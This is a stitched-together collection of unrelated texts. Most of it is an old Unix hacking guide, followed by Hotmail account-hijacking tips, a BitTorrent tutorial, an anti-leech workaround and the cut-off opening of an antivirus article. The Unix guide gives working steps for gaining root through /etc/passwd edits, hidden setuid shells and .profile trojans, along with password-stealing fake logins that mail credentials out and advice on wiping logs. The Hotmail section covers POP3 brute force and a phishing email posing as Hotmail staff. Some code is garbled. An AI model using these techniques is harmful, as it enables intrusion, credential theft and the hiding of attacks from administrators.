Always beware a hacker who says he decrypted a password file. He's full of shit. Passwords are never decrypted on unix, but rather, a system call is made to a function called "crypt" from within the C language, and the string you enter as the password gets encrypted, and compared to the encrypted password. If they match, you're in. Now, there are password hackers, but they donot decrypt the password file, but rather, encrypt words from a dictionary and try them against every account (by crypting/comparing) until it finds a match (later on!). Remember, few, if none, have decrypted the password file successfuly. /etc/group - This file contains The valid groups. The group file is usually defined as this: groupname:password:groupid:users in group Once again, passwords are encrypted here too. If you see a blank in the password entry you can become part of that group by using the utility "newgrp". Now, there are some cases in which even groups with no password will allow only certain users to be assigned to the group via the newgrp command. Usually, if the last field is left blank, that means any user can use newgrp to get that group's access. Otherwise, only the users specified in the last field can enter the group via newgrp. Newgrp is just a program that will change your group current group id you are logged on under to the one you specify. The syntax for it is: newgrp groupname Now, if you find a group un passworded, and use newgrp to enter it, and it asks for a password, you are not allowed to use the group. I will explain this further in The "SU & Newgrp" section. /etc/hosts - this file contains a list of hosts it is connected to thru a hardware network (like an x.25 link or something), or sometimes just thru UUCP. This is a good file when you are hacking a large network, since it tells you systems you can use with rsh (Remote Shell, not restricted shell), rlogin, and telnet, as well as other ethernet/x.25 link programs. /usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in Several directories, but it is usually in /usr/adm. This file is what it sounds like. Its a log file, for the program SU. What it is for is to keep a record of who uses SU and when. whenever you use SU, your best bet would be to edit this file if possible, and I'll tell you how and why in the section about using "su". /usr/adm/loginlog or /usr/adm/acct/loginlog - This is a log file, keeping track of the logins. Its purpose is merely for accounting and "security review". Really, sometimes this file is never found, since a lot of systems keep the logging off. /usr/adm/errlog or errlog - This is the error log. It could be located anywhere. It keeps track of all serious and even not so serious errors. Usually, it will contain an error code, then a situation. the error code can be from 1-10, the higher the number, the worse the error. Error code 6 is usually used when you try to hack. "login" logs your attempt in errlog with error code 6. Error code 10 means, in a nutshell, "SYSTEM CRASH". /usr/adm/culog - This file contains entries that tell when you used cu, where you called and so forth. Another security thing. /usr/mail/ - this is where the program "mail" stores its mail. to read a particular mailbox, so they are called, you must be that user, in the user group "mail" or root. each mailbox is just a name. for instance, if my login was "sirhack" my mail file would usually be: /usr/mail/sirhack /usr/lib/cron/crontabs - This contains the instructions for cron, usually. Will get into this later. /etc/shadow - A "shadowed" password file. Will talk about this later. -- The BIN account -- Well, right now, I'd like to take a moment to talk about the account "bin". While it is only a user level account, it is very powerful. It is the owner of most of the files, and on most systems, it owns /etc/passwd, THE most important file on a unix. See, the bin account owns most of the "bin" (binary) files, as well as others used by the binary files, such as login. Now, knowing what you know about file permissions, if bin owns the passwd file, you can edit passwd and add a root entry for yourself. You could do this via the edit command: $ ed passwd 10999 [The size of passwd varies] * a sirhak::0:0:Mr. Hackalot:/:/bin/sh {control-d} * w * q $ Then, you could say: exec login, then you could login as sirhack, and you'd be root. /\/\/\/\/\/\/\/\/ Hacking.......... /\/\/\/\/\/\/\/\/ -------------- Account Adding -------------- There are other programs that will add users to the system, instead of ed. But most of these programs will NOT allow a root level user to be added, or anything less than a UID of 100. One of these programs is named "adduser". Now, the reason I have stuck this little section in, is for those who want to use a unix for something useful. Say you want a "mailing address". If the unix has uucp on it, or is a big college, chances are, it will do mail transfers. You'll have to test the unix by trying to send mail to a friend somewhere, or just mailing yourself. If the mailer is identified as "smail" when you mail yourself (the program name will be imbedded in the message) that probably means that the system will send out UUCP mail. This is a good way to keep in contact with people. Now, this is why you'd want a semi-permanent account. The way to achieve this is by adding an account similar to those already on the system. If all the user-level accounts (UID >= 100) are three letter abbriviations, say "btc" for Bill The Cat, or "brs" for bill ryan smith, add an account via adduser, and make a name like sally jane marshall or something (they don't expect hackers to put in female names) and have the account named sjm. See, in the account description (like Mr. Hackalot above), that is where the real name is usually stored. So, sjm might look like this: sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh Of course, you will password protect this account, right? Also, group id's don't have to be above 100, but you must put the account into one that exists. Now, once you login with this account, the first thing you'd want to do is execute "passwd" to set a password up. If you don't, chances are someone else 'll do it for you (Then you'll be SOL). ------------------- Set The User ID ------------------- This is porbably one of the most used schemes. Setting up an "UID- Shell". What does this mean? Well, it basically means you are going to set the user-bit on a program. The program most commonly used is a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access to whatever the owner of the file does. A UID shell sets the user-ID of the person who executes it to the owner of the program. So if root owns a uid shell, then you become root when you run it. This is an alternate way to become root. Say you get in and modify the passwd file and make a root level account unpassworded, so you can drop in. Of course, you almost HAVE to get rid of that account or else it WILL be noticed eventually. So, what you would do is set up a regular user account for yourself, then, make a uid shell. Usually you would use /bin/sh to do it. After adding the regular user to the passwd file, and setting up his home directory, you could do something like this: (assume you set up the account: shk) # cp /bin/sh /usr/shk/runme # chmod a+s /usr/shk/runme Thats all there would be to it. When you logged in as shk, you could just type in: $ runme # See? You'd then be root. Here is a thing to do: $ id uid=104(shk) gid=50(user) $ runme # id uid=104(shk) gid=50(user) euid=0(root) # The euid is the "effective" user ID. UID-shells only set the effective userid, not the real user-id. But, the effective user id over-rides the real user id. Now, you can, if you wanted to just be annoying, make the utilities suid to root. What do I mean? For instance, make 'ls' a root 'shell'. : # chmod a+s /bin/ls # exit $ ls -l /usr/fred .. ...... etc crap Ls would then be able to pry into ANY directory. If you did the same to "cat" you could view any file. If you did it to rm, you could delete any file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on the system (usually). How do I get root? ------------------ Good question indeed. To make a program set the user-id shell to root, you have to be root, unless you're lucky. What do I mean? Well, say you find a program that sets the user-id to root. If you have access to write to that file, guess what? you can copy over it, but keep the uid bit set. So, say you see that the program chsh is setting the user id too root. You can copy /bin/sh over it. $ ls -l rwsrwsrws root other 10999 Jan 4 chsh $ cp /bin/sh chsh $ chsh # See? That is just one way. There are others, which I will now talk about. More on setting the UID ----------------------- Now, the generic form for making a program set the User-ID bit is to use this command: chmod a+s file Where 'file' is a valid existing file. Now, only those who own the file can set the user ID bit. Remember, anything YOU create, YOU own, so if you copy th /bin/sh, the one you are logged in as owns it, or IF the UID is set to something else, the New UID owns the file. This brings me to BAD file permissions. II. HACKING : Bad Directory Permissions Now, what do I mean for bad directory permissions? Well, look for files that YOU can write to, and above all, DIRECTORIES you can write to. If you have write permissions on a file, you can modify it. Now, this comes in handy when wanting to steal someone's access. If you can write to a user's .profile, you are in business. You can have that user's .profile create a suid shell for you to run when You next logon after the user. If the .profile is writable to you, you can do this: $ ed .profile [some number will be here] ? a cp /bin/sh .runme chmod a+x .runme chmod a+s .runme (control-d) ? w [new filesize will be shown] ? q $ Now, when the user next logs on, the .profile will create .runme which will set your ID to the user whose .profile you changed. Ideally, you'll go back in and zap those lines after the suid is created, and you'll create a suid somewhere else, and delete the one in his dir. The .runme will not appear in the user's REGULAR directory list, it will only show up if he does "ls -a" (or ls with a -a combination), because, the '.' makes a file hidden. The above was a TROJAN HORSE, which is one of the most widely used/abused method of gaining more power on a unix. The above could be done in C via the system() command, or by just plain using open(), chmod(), and the like. * Remember to check and see if the root user's profile is writeable * * it is located at /.profile (usually) * The BEST thing that could happen is to find a user's directory writeable by you. Why? well, you could replace all the files in the directory with your own devious scripts, or C trojans. Even if a file is not writeable by you, you can still overwrite it by deleteing it. If you can read various files, such as the user's .profile, you can make a self deleting trojan as so: $ cp .profile temp.pro $ ed .profile 1234 ? a cp /bin/sh .runme chmod a+x .runme chmod a+s .runme mv temp.pro .profile (control-d) ? w [another number] ? q $ chown that_user temp.pro What happens is that you make a copy of the .profile before you change it. Then, you change the original. When he runs it, the steps are made, then the original version is placed over the current, so if the idiot looks in his .profile, he won't see anything out of the ordinary, except that he could notice in a long listing that the change date is very recent, but most users are not paranoid enough to do extensive checks on their files, except sysadm files (such as passwd). Now, remember, even though you can write to a dir, you may not be able to write to a file without deleting it. If you do not have write perms for that file, you'll have to delete it and write something in its place (put a file with the same name there). The most important thing to remember if you have to delete a .profile is to CHANGE the OWNER back after you construct a new one (hehe) for that user. He could easily notice that his .profile was changed and he'll know who did it. YES, you can change the owner to someone else besides yourself and the original owner (as to throw him off), but this is not wise as keeping access usually relies on the fact that they don't know you are around. You can easily change cron files if you can write to them. I'm not going to go into detail about cronfile formats here, just find the crontab files and modify them to create a shell somewhere as root every once in a while, and set the user-id. III. Trojan Horses on Detached terminals. Basically this: You can send garbage to a user's screen and mess him up bad enough to force a logoff, creating a detached account. Then you can execute a trojan horse off that terminal in place of login or something, so the next one who calls can hit the trojan horse. This USUALLY takes the form of a fake login and write the username/pw entererred to disk. Now, there are other trojan horses available for you to write. Now, don't go thinking about a virus, for they don't work unless ROOT runs them. Anyway, a common trjan would be a shell script to get the password, and mail it to you. Now, you can replace the code for the self deleting trojan with one saying something like: echo "login: \c" read lgin echo off (works on some systems) (if above not available...: stty -noecho) echo "Password:\c" read pw echo on echo "Login: $lgin - Pword: $pw" | mail you Now, the best way to use this is to put it in a seperate script file so it can be deleted as part of the self deleting trojan. A quick modification, removing the "login: " and leaving the password may have it look like SU, so you can get the root password. But make sure the program deletes itself. Here is a sample trojan login in C: #include /* Get the necessary defs.. */ main() { char *name[80]; char *pw[20]; FILE *strm; printf("login: "); gets(name); pw = getpass("Password:"); strm = fopen("/WhereEver/Whateverfile","a"); fprintf(strm,"User: (%s), PW [%s]\n",name,pw); fclose(strm); /* put some kind of error below... or something... */ printf("Bus Error - Core Dumped\n"); exit(1); } The program gets the login, and the password, and appends it to a file (/wherever/whateverfile), and creates the file if it can, and if its not there. That is just an example. Network Annoyances come later. IV. Odd systems There may be systems you can log in to with no problem, and find some slack menu, database, or word processor as your shell, with no way to the command interpreter (sh, ksh, etc..). Don't give up here. Some systems will let you login as root, but give you a menu which will allow you to add an account. However, ones that do this usually have some purchased software package running, and the people who made the software KNOW that the people who bought it are idiots, and the thing will sometimes only allow you to add accounts with user-id 100 or greater, with their special menushell as a shell. You probably won't get to pick the shell, the program will probably stick one on the user you created which is very limiting. HOWEVER, sometimes you can edit accounts, and it will list accounts you can edit on the screen. HOWEVER, these programs usually only list those with UIDS > 100 so you don't edit the good accounts, however, they donot stop you from editing an account with a UID < uid="100(sirhack)" gid="100(users)">: /etc/passwd (you see: ) root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh ... Now I have found an account to take over! "datawiz" will get me in with no trouble, then I can change his password, which he will not like at all. Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which will menu drive all the important shit, even creating users, but you must have ansi or something. You can usually tell when you'll get a menu. Sometimes on UNIX SYSTEM V, when it says TERM = (termtype), and is waiting for you to press return or whatever, you will probably get a menu.. ack. V. Shadowed Password files Not much to say about this. all it is, is when every password field in the password file has an "x" or just a single character. What that does is screw you, becuase you cannot read the shadowed password file, only root can, and it contains all the passwords, so you will not know what accounts have no passwords, etc. There are a lot of other schemes for hacking unix, lots of others, from writing assembly code that modifies the PCB through self-changing code which the interrupt handler doesn't catch, and things like that. However, I do not want to give away everything, and this was not meant for advanced Unix Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix assembly language or anything. Now I will Talk about Internet. --->>> InterNet <<<--- Why do I want to talk about InterNet? Well, because it is a prime example of a TCP/IP network, better known as a WAN (Wide-Area-Network). Now, mainly you will find BSD systems off of the Internet, or SunOS, for they are the most common. They may not be when System V, Rel 4.0, Version 2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump from one computer to another once you are logged in. What happens is EACH system has a "yello page password file". Better known as yppasswd. If you look in there, and see blank passwords you can use rsh, rlogin, etc.. to slip into that system. One system in particular I came across had a a yppasswd file where *300* users had blank passwords in the Yellow Pages. Once I got in on the "test" account, ALL I had to do was select who I wanted to be, and do: rlogin -l user (sometimes -n). Then it would log me onto the system I was already on, through TCP/IP. However, when you do this, remember that the yppasswd only pertains to the system you are on at the time. To find accounts, you could find the yppasswd file and do: % cat yppasswd | grep :: Or, if you can't find yppasswd.. % ypcat passwd | grep :: On ONE system (which will remain confidential), I found the DAEMON account left open in the yppasswd file. Not bad. Anyway, through one system on the internet, you can reach many. Just use rsh, or rlogin, and look in the file: /etc/hosts for valid sites which you can reach. If you get on to a system, and rlogin to somewhere else, and it asks for a password, that just means one of two things: A. Your account that you have hacked on the one computer is on the target computer as well. Try to use the same password (if any) you found the hacked account to have. If it is a default, then it is definitly on the other system, but good luck... B. rlogin/rsh passed your current username along to the remote system, so it was like typing in your login at a "login: " prompt. You may not exist on the other machine. Try "rlogin -l login_name", or rlogin -n name.. sometimes, you can execute "rwho" on another machine, and get a valid account. Some notes on Internet servers. There are "GATEWAYS" that you can get into that will allow access to MANY internet sites. They are mostly run off a modified GL/1 or GS/1. No big deal. They have help files. However, you can get a "privilged" access on them, which will give you CONTROL of the gateway.. You can shut it down, remove systems from the Internet, etc.. When you request to become privileged, it will ask for a password. There is a default. The default is "system". I have come across *5* gateways with the default password. Then again, DECNET has the same password, and I have come across 100+ of those with the default privileged password. CERT Sucks. a Gateway that led to APPLE.COM had the default password. Anyone could have removed apple.com from the internet. Be advised that there are many networks now that use TCP/IP.. Such as BARRNET, LANET, and many other University networks. --** Having Fun **-- Now, if nothing else, you should atleast have some fun. No, I do not mean go trashing hardrives, or unlinking directories to take up inodes, I mean play with online users. There are many things to do. Re-direct output to them is the biggie. Here is an example: $ who loozer tty1 sirhack tty2 $ banner You Suck >/dev/tty1 $ That sent the output to loozer. The TTY1 is where I/O is being performed to his terminal (usually a modem if it is a TTY). You can repetitiously banner him with a do while statement in shell, causing him to logoff. Or you can get sly, and just screw with him. Observe this C program: #include #include #include main(argc,argument) int argc; char *argument[]; { int handle; char *pstr,*olm[80]; char *devstr = "/dev/"; int acnt = 2; FILE *strm; pstr = ""; if (argc == 1) { printf("OL (OneLiner) Version 1.00 \n"); printf("By Sir Hackalot [PHAZE]\n"); printf("\nSyntax: ol tty message\n"); printf("Example: ol tty01 You suck\n"); exit(1); } printf("OL (OneLiner) Version 1.0\n"); printf("By Sir Hackalot [PHAZE]\n"); if (argc == 2) { strcpy(olm,""); printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n"); printf("Enter one Here => "); gets(olm); } strcpy(pstr,""); strcat(pstr,devstr); strcat(pstr,argument[1]); printf("Sending to: [%s]\n",pstr); strm = fopen(pstr,"a"); if (strm == NULL) { printf("Error writing to: %s\n",pstr); printf("Cause: No Write Perms?\n"); exit(2); } if (argc == 2) { if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname()); fprintf(strm,"%s\n",olm); fclose(strm); printf("Message Sent.\n"); exit(0); } if (argc > 2) { if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname()); while (acnt <= argc - 1) { fprintf(strm,"%s ",argument[acnt]); acnt++; } fclose(strm); printf("Message sent!\n"); exit(0); } } What the above does is send one line of text to a device writeable by you in /dev. If you try it on a user named "sirhack" it will notify sirhack of what you are doing. You can supply an argument at the command line, or leave a blank message, then it will prompt for one. You MUST supply a Terminal. Also, if you want to use ?, or *, or (), or [], you must not supply a message at the command line, wait till it prompts you. Example: $ ol tty1 You Suck! OL (OneLiner) Version 1.00 by Sir Hackalot [PHAZE] Sending to: [/dev/tty1] Message Sent! $ Or.. $ ol tty1 OL (OneLiner) Version 1.00 by Sir Hackalot [PHAZE] Dummy! You Forgot to Supply a ONE LINE MESSAGE! Enter one here => Loozer! Logoff (NOW)!! ^G^G Sending to: [/dev/tty1] Message Sent! $ You can even use it to fake messages from root. Here is another: /* * Hose another user */ #include #include #include #include #include #include #include #include #define NMAX sizeof(ubuf.ut_name) struct utmp ubuf; struct termio oldmode, mode; struct utsname name; int yn; int loop = 0; char *realme[50] = "Unknown"; char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32]; char *histtya, *ttyname(), *strrchr(), *getenv(); int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout(); FILE *tf; main(argc, argv) int argc; char *argv[]; { register FILE *uf; char c1, lastc; int goodtty = 0; long clock = time((long *) 0); struct tm *localtime(); struct tm *localclock = localtime( &clock ); struct stat stbuf; char psbuf[20], buf[80], window[20], junk[20]; FILE *pfp, *popen(); if (argc < him =" argv[1];"> 2) histtya = argv[2]; if ((uf = fopen("/etc/utmp", "r")) == NULL) { printf("cannot open /etc/utmp\n"); exit(1); } cuserid(me); if (me == NULL) { printf("Can't find your login name\n"); exit(1); } mytty = ttyname(2); if (mytty == NULL) { printf("Can't find your tty\n"); exit(1); } if (stat(mytty, &stbuf) < histtya =" strrchr(histtya," logcnt="="0)" histtya="="0"> 1) { printf("%s logged more than once\nwriting to %s\n", him, histty+5); } if (access(histty, 0) < tf =" fopen(histty," yn =" 1;" yn ="="" lastc =" '\n';" loop ="="" c1 =" '\b';" i =" fork();" i ="="" i="0;"> #include main(argc,argv) char *argv[]; int argc; { int x = 1; char *device = "/dev/"; FILE *histty; if (argc == 1) { printf("Bafoon. Supply a TTY.\n"); exit(1); } strcat(device,argv[1]); /* Make the filename /dev/tty.. */ histty = fopen(device,"a"); if (histty == NULL) { printf("Error opening/writing to tty. Check their perms.\n"); exit(1); } printf("BSV - Backspace virus, By Sir Hackalot.\n"); printf("The Sucker on %s is getting it!\n",device); while (x == 1) { fprintf(histty,"\b\b"); fflush(histty); sleep(5); } } Thats all there is to it. If you can write to their tty, you can use this on them. It sends two backspaces to them every approx. 5 seconds. You should run this program in the background. (&). Here is an example: $ who sirhack tty11 loozer tty12 $ bsv tty12& [1] 4566 BSV - Backspace virus, by Sir Hackalot The Sucker on /dev/tty12 is getting it! $ Now, it will keep "attacking" him, until he loggs of, or you kill the process (which was 4566 -- when you use &, it gives the pid [usually]). ** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF method to terminate a line. However, the LF terminates a line in Unix. you must STRIP CR's on an ascii upload if you want something you upload to an editor to work right. Else, you'll see a ^M at the end of every line. I know that sucks, but you just have to compensate for it. I have a number of other programs that annoy users, but that is enough to get your imagination going, provided you are a C programmer. You can annoy users other ways. One thing you can do is screw up the user's mailbox. The way to do this is to find a binary file (30k or bigger) on the system which YOU have access to read. then, do this: $ cat binary_file | mail loozer or $ mail loozer <>/dev/tty12 $ It may pause for a while while it outputs it. If you want to resume what you were doing instantly, do: $ cat binary_file >/dev/tty12& [1] 4690 $ And he will probably logoff. You can send the output of anything to his terminal. Even what YOU do in shell. Like this: $ sh >/dev/tty12 $ You'll get your prompts, but you won't see the output of any commands, he will... $ ls $ banner Idiot! $ echo Dumbass! $ until you type in exit, or hit ctrl-d. There are many many things you can do. You can fake a "write" to someone and make them think it was from somewhere on the other side of hell. Be creative. When you are looking for things to do, look for holes, or try to get someone to run a trojan horse that makes a suid shell. If you get someone to run a trojan that does that, you can run the suid, and log their ass off by killing their mother PID. (kill -9 whatever). Or, you can lock them out by adding "kill -1 0" to their .profile. On the subject of holes, always look for BAD suid bits. On one system thought to be invincible I was able to read/modify everyone's mail, because I used a mailer that had both the GroupID set, and the UserID set. When I went to shell from it, the program instantly changed my Effective ID back to me, so I would not be able to do anything but my regular stuff. But it was not designed to change the GROUP ID back. The sysop had blundered there. SO when I did an ID I found my group to be "Mail". Mailfiles are readble/writeable by the user "mail", and the group "mail". I then set up a sgid (set group id) shell to change my group id to "mail" when I ran it, and scanned important mail, and it got me some good info. So, be on the look out for poor permissions. Also, after you gain access, you may want to keep it. Some tips on doing so is: 1. Don't give it out. If the sysadm sees that joeuser logged in 500 times in one night....then.... 2. Don't stay on for hours at a time. They can trace you then. Also they will know it is irregular to have joeuser on for 4 hours after work. 3. Don't trash the system. Don't erase important files, and don't hog inodes, or anything like that. Use the machine for a specific purpose (to leech source code, develop programs, an Email site). Dont be an asshole, and don't try to erase everything you can. 4. Don't screw with users constantly. Watch their processes and run what they run. It may get you good info (snoop!) 5. If you add an account, first look at the accounts already in there If you see a bunch of accounts that are just 3 letter abbrv.'s, then make yours so. If a bunch are "cln, dok, wed" or something, don't add one that is "joeuser", add one that is someone's full initials. 6. When you add an account, put a woman's name in for the description, if it fits (Meaning, if only companies log on to the unix, put a company name there). People do not suspect hackers to use women's names. They look for men's names. 7. Don't cost the Unix machine too much money. Ie.. don't abuse an outdial, or if it controls trunks, do not set up a bunch of dial outs. If there is a pad, don't use it unless you NEED it. 8. Don't use x.25 pads. Their usage is heavily logged. 9. Turn off acct logging (acct off) if you have the access to. Turn it on when you are done. 10. Remove any trojan horses you set up to give you access when you get access. 11. Do NOT change the MOTD file to say "I hacked this system" Just thought I'd tell you. Many MANY people do that, and lose access within 2 hours, if the unix is worth a spit. 12. Use good judgement. Cover your tracks. If you use su, clean up the sulog. 13. If you use cu, clean up the cu_log. 14. If you use the smtp bug (wizard/debug), set up a uid shell. 15. Hide all suid shells. Here's how: goto /usr (or any dir) do: # mkdir ".. " # cd ".. " # cp /bin/sh ".whatever" # chmod a+s ".whatever" The "" are NEEDED to get to the directory .. ! It will not show up in a listing, and it is hard as hell to get to by sysadms if you make 4 or 5 spaces in there (".. "), because all they will see in a directory FULL list will be .. and they won't be able to get there unless they use "" and know the spacing. "" is used when you want to do literals, or use a wildcard as part of a file name. 16. Don't hog cpu time with password hackers. They really don't work well. 17. Don't use too much disk space. If you archieve something to dl, dl it, then kill the archieve. 18. Basically -- COVER YOUR TRACKS. Some final notes: Now, I hear lots of rumors and stories like "It is getting harder to get into systems...". Wrong. (Yo Pheds! You reading this??). It IS true when you are dealing with WAN's, such as telenet, tyment, and the Internet, but not with local computers not on those networks. Here's the story: Over the past few years, many small companies have sprung up as VARs (Value Added Resellers) for Unix and Hardware, in order to make a fast buck. Now, these companies fast talk companies into buying whatever, and they proceed in setting up the Unix. Now, since they get paid by the hour usaually when setting one up, they spread it out over days.... during these days, the system is WIDE open (if it has a dialin). Get in and add yourself to passwd before the seal it off (if they do..). Then again, after the machine is set up, they leave the defaults on the system. Why? The company needs to get in, and most VARs cannot use unix worth a shit, all they know how to do is set it up, and that is ALL. Then, they turn over the system to a company or business that USUALLY has no-one that knows what they hell they are doing with the thing, except with menus. So, they leave the system open to all...(inadvertedly..), because they are not competant. So, you could usually get on, and create havoc, and at first they will think it is a bug.. I have seen this happen ALL to many times, and it is always the same story... The VAR is out for a fast buck, so they set up the software (all they know how to do), and install any software packages ordered with it (following the step by step instructions). Then they turn it over to the business who runs a word processor, or database, or something, un aware that a "shell" or command line exists, and they probably don't even know root does. So, we will see more and more of these pop up, especially since AT&T is now bundling a version of Xwindows with their new System V, and Simultask... which will lead to even more holes. You'll find systems local to you that are easy as hell to get into, and you'll see what I mean. These VARs are really actually working for us. If a security problem arises that the business is aware of, they call the VAR to fix it... Of course, the Var gets paid by the hour, and leaves something open so you'll get in again, and they make more moolahhhh. You can use this phile for whatever you want. I can't stop you. Just to learn unix (heh) or whatever. But its YOUR ass if you get caught. Always consider the penalties before you attempt something. Sometimes it is not worth it, Sometimes it is.
I_1_I - Brute force hacking a. Use telnet to connect to port 110 (Hotmail´s pop-server) b. Type USER and then the victim´s username c. Type PASS and then the guess a password d. Repeat that until U have found the correct password. !. This is called brute force hacking and requires patience. It´s better than trying to guess the victims password on hotmail homepage only because it´s faster. ____ I_2_I - The Best way a. Get the username of the victim (It usually stands in the adress-field) b. Then type " www.hotmail.com/cgi-bin/start/victimsusername " c. U´re in! !. This hack only work if U are on the same network or computer as the victim and if he don´t log out. ____ I_3_I - The old way a. Go to http://www.hotmail/proxy.html b. Now type the victims username. (press login) c. Look at the source code. d. On the fifth row U should find "action=someadress" e. Copy that adress and paste it into the adress-field f. You are in... !. As you can see it´s a long procedure and the victim have plenty of time to log out. ____ I_4_I - Another... a. Go to hotmail´s homepage b. Copy the source code. c. Make a new html file with the same code but change method=post tomethod=enter d. "view" the page e. Change the adress to www.hotmail.com/ (don´t press enter!) f. Make the victim type in his username and password g. Look in the adress-field. There you´ll see ...&password:something... !. This is the way I use, because it lets you know the password. (If he exits the browser U can see the password in the History folder!) READ! Hotmail´s sysops have changed the "system" so that the victim may log out even if U are inside his/her account. So don´t waste U´r time! --- So you want to get some hotmail passwords? This is pretty easy to do once you have got the hang of it. If you are a beginner, I wouldn't make this your first attempt at hacking. When you need to do is use a port surfer and surf over to port 80. While there, you have to try and mail the user that you want the password from. It is best to mail them using the words "We" and "Here at Hotmail..." Most suckers fall for this and end up giving out their password. There is another way to also, you can get an anon mailer, and forge the addres as staff@hotmail.com. But you have to change the reply address to go to a different addres like user@host.com. The person that you are trying to get the pass from MUST respond to that letter for the mail to be forwarded to you. Have text like "Please reply to this letter with the subject "PASSWORD" and underneith please include your user name and password. If you have trouble Loging in withing the next few days, this is only because we are updating our mail servers but no need to worry, your mail will still be there. Even though the server may be down for an hour. From the staff at Hotmail, Thank You."
The first things you need to know about using Bit Torrent: -- Bit Torrent is aimed at broadband users (or any connection better than dialup). -- Sharing is highly appreciated, and sharing is what keeps bit torrent alive. -- A bit torrent file (*.torrent) contains information about the piece structure of the download (more on this later) -- The method of downloading is not your conventional type of download. Since downloads do not come in as one big chunk, you are able to download from many people at once, increasing your download speeds. There may be 100 "pieces" to a file, or 20,000+ pieces, all depending on what you're downloading. Pieces are usually small (under 200kb) -- The speeds are based upon people sharing as they download, and seeders. Seeders are people who constantly share in order to keep torrents alive. Usually seeders are on fast connections (10mb or higher). In this tutorial, I will be describing it all using a bit torrent client called Azureus. This client is used to decode the .torrent files into a useable format to download from other peers. From here on out, I will refer to Bit Torrent as BT. Which BT client you use, is purely up to you. I have tried them all, and my personal favorite is Azureus for many reasons. A big problem with most BT clients out there, is that they are extremely CPU intensive, usually using 100% of your cpu power during the whole process. This is the number one reason I use Azureus. Another, is a recently released plug-in that enables you to browse all current files listed on suprnova.org (the #1 source for torrent downloads). Before you use the plug-in, take a look at /http://www.suprnova.org, and browse the files. Hold your mouse over the links, and you'll notice every file ends in .torrent. This is the BT file extension. Usually, .torrent files are very small, under 200kb. They contain a wealth of information about the file you want to download. A .torrent file can contain just 1 single file, or a a directory full of files and more directories. But regardless, every download is split up into hundreds or thousands of pieces. The pieces make it much easier to download at higher speeds. Back to suprnova.org. Look at the columns: Added | Name | Filesize | Seeds | DLs (and a few more which aren't very useful.) I'll break this down. Added: Self explanitory, its the date the torrent was added. Name: Also self explanitory. Filesize: Duh Seeds: This is how many people are strictly UPLOADING, or sharing. These people are the ones that keep .torrent files alive. By "alive", I mean, if there's no one sharing the .torrent file, no one can download. DLs: This is how many people currently downloading that particular torrent. They also help keep the torrent alive as they share while they download. It's always best to download using a torrent that has a decent amount of seeders and downloaders, this way you can be assured there's a good chance your download will finish. The more the better. Now that you should understand how torrent files work, and how to use them, on to Azureus! First, get JAVA! You need this to run Azureus, as java is what powers it. Get Java here: /http://java.sun.com/j2se/1.4.2/download.html Next, get Azureus at: /http://azureus.sourceforge.net Next, get the Suprnovalister plugin from /http://s93732957.onlinehome.us/storage/suprnovalister.jar Install Java JRE before you do ANYTHING. Install Azureus, and then in the installation folder, create 2 more folders. ./Plugins/suprnovalister (For example, if you installed Azureus to C:\PROGRAM FILES\AZUREUS, create C:\PROGRAM FILES\AZUREUS\PLUGINS\SUPRNOVALISTER). Next, put the suprnovalister.jar file that you downloaded, in that folder. Load up Azureus, and if you want, go through the settings and personalize it. The tab labeled "My Torrents" is the section of Azureus you need the most often. That lists all your transfers, uploads and downloads. It shows every bit of information you could possibly want to know about torrents you download. In the menu bar, go to View > Plugins > Suprnova Lister. This will open up a new tab in Azureus. Click on "Update Mirror". This will get a mirror site of suprnova.org containing all current torrent files available. Once a mirror is grabbed, choose a category from the drop-down box to the left and click "Update". Wah-lah, all the available downloads appear in the main chart above. Just double click a download you want, and bang its starting to download. Open the "My Torrents" tab again to view and make sure your download started. After your download has finished, be nice, and leave the torrent transferring. So people can get pieces of the file from you, just as you got pieces from other people. Alternatively, if you don't want to use the plugin... you can just head to suprnova.org and download files to any folder. Then go to File > Open > .torrent File in Azureus. This should about wrap it up for the Bit Torrent Tutorial. If you guys think of anything I should add, or whatnot, just let me know and I'll check into it.
I was just asking to know if there is some audiance before here is my methode for hacking anti leech we gona use a soft calde proxo mitron proxomitron is an anti bull script web proxy it' works buy applying some rules to elliuminte pop up and many other thing but for our cas we need to desactive all this filtring first goto w-w.proxomitron.info download a copy of the soft then you need to unselect all the option of the soft and clik on log window no go to a anti leech web site use the plug in and not netpumper in the plugin add a proxy, you must put this proxy adress 127.0.0.1 8080 for http the same for ftp now select the file to download a click download watch in proximitron log winodws you will see many internal forwarding if the file are located in a ftp server proximitron dont handel them and you will find an error in a ftp adress if it's a http adress you will find some thing like get /blablalma/bla/file site tr.com and you have foudn the adress it' tr.com/blabla/file
If you've let your guard down--or even if you haven't--it can be hard to tell if your PC is infected. Here's what to do if you suspect the worst. Heard this one before? You must run antivirus software and keep it up to date or else your PC will get infected, you'll lose all your data, and you'll incur the wrath of every e-mail buddy you unknowingly infect because of your carelessness. You know they're right. Yet for one reason or another, you're not running antivirus software, or you are but it's not up to date. Maybe you turned off your virus scanner because it conflicted with another program. Maybe you got tired of upgrading after you bought Norton Antivirus 2001, 2002, and 2003. Or maybe your annual subscription of virus definitions recently expired, and you've put off renewing. It happens. It's nothing to be ashamed of. But chances are, either you're infected right now, as we speak, or you will be very soon. For a few days in late January, the Netsky.p worm was infecting about 2,500 PCs a day. Meanwhile the MySQL bot infected approximately 100 systems a minute (albeit not necessarily desktop PCs). As David Perry, global director of education for security software provider Trend Micro, puts it, "an unprotected [Windows] computer will become owned by a bot within 14 minutes." Today's viruses, worms, and so-called bots--which turn your PC into a zombie that does the hacker's bidding (such as mass-mailing 